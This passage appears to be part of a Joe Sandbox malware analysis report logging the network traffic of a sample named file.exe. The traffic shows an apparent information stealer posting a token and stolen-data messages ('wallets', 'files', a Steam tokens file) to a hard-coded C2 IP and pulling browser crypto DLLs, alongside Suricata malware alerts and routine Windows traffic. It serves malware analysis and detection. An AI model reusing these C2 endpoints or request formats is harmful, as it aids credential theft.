Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 2d 2d 0d 0a Data Ascii: ------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file"------KJEBKJDAFHJDGDHJKKEG--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="message"wallets------EGIJKEHCAKFCAKFHDAAA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="message"files------AAEGHJKJKKJDHIDHJKJD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJEGCFBGDHJJJJJKJECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="file"------AKJEGCFBGDHJJJJJKJEC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="message"ybncbhylepme------GCBGCGHDGIEGCBFIEGCB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 2d 2d 0d 0a Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFBAKKFCBFHIIEBGIDBG--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49758 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64CC60 PR_Recv,

0_2_6C64CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xZ6G+Uo+Be3lGfv&MD=phWLBpN+ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xZ6G+Uo+Be3lGfv&MD=phWLBpN+ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
